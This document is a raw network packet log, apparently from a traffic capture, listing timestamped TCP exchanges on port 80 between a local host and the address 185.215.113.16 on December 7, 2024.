Dec 7, 2024 15:07:01.704757929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704758883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704771042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704782963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704783916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704802990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704813004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704818010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704826117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.704849958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.704869986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705434084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705475092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705555916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705568075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705580950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705591917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705598116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705601931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705610037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705612898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705624104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705625057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705636024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705646992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705656052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705657959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705667019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.705682039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.705704927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706408024 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706422091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706438065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706450939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706454039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706471920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706485987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706496954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706497908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706507921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706520081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706543922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706554890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706589937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706604004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706614971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706626892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.706634045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706655025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.706681013 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707344055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707355976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707367897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707379103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707389116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707391977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707413912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707425117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707425117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707436085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707437038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707478046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707488060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707515001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707528114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707536936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707549095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.707559109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707573891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.707602024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708208084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708219051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708246946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708261967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708343029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708355904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708379030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708395004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708491087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708502054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708514929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708525896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708530903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708540916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708544016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708555937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708558083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708565950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708574057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708578110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708589077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708595037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708600998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.708620071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.708640099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709258080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709300041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709327936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709338903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709348917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709371090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709383965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709394932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709482908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709495068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709505081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709517002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709520102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709527969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709534883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709541082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709551096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709563971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709573030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.709583044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709595919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.709620953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710235119 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710294962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710305929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710306883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710318089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710330963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710347891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710349083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710361958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710362911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710371971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710383892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710412979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710417032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710417032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710423946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710433960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710444927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.710447073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710464001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.710484028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711301088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711318016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711328983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711339951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711349964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711359978 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711359978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711371899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711384058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711384058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711395979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711405039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711410046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711421013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711426020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711431980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.711452007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.711467981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712119102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712131977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712158918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712187052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712253094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712265968 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712284088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712289095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712305069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712312937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712434053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712445974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712455988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712466002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712477922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712477922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712486982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712492943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712503910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712508917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712513924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.712517977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.712547064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.714274883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714287043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714294910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714303017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714313984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:07:01.714322090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.714323997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714335918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714351892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714354038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.714359999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714365959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714368105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714371920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714379072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.714378119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:07:01.714400053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.714400053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.714453936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715157032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715168953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715184927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715197086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715203047 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715213060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715223074 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715224028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715234041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715249062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715250969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715260029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715270996 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715280056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715281963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715293884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715301037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715305090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.715322971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715329885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715358019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.715981960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716022015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716175079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716186047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716197014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716207981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716212034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716218948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716224909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716231108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716240883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716248035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716252089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716269016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716279984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716279984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716299057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716322899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716849089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716860056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.716896057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.716912985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.717083931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.717093945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.717118979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.717129946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.717834949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.717871904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.717952013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.717984915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.718894005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.718930960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.719011068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.719043970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.719978094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.720016956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.720040083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.720082998 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.721045017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.721081972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.721241951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.721280098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.722204924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.722246885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.722341061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.722400904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.723196983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.723249912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.723270893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.723305941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.724315882 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.724360943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.724395037 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.724425077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.725336075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.725380898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.725430012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.725465059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.726408005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.726448059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.726531982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.726568937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.727552891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.727602959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.727607012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.727638960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.728585005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.728651047 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.728686094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.728761911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.729640007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.729690075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.729753971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.729796886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.730720997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.730767965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.730834007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.730873108 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.731789112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.731837988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.731887102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.731935024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.825269938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.825315952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.825325966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.825340986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.825371027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.825392008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.825432062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.826262951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.826302052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.826390028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.826425076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.827351093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.827382088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.827389956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.827411890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.828474998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.828493118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.828514099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.828530073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.829452038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.829490900 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.829551935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.829590082 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.830482960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.830523014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.830842972 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.830882072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.830959082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.830993891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.831907988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.831954002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.832037926 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.832071066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.833058119 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.833102942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.833122969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.833193064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.834045887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.834088087 CET	49740	80	192.168.2.8	185.215.113.16
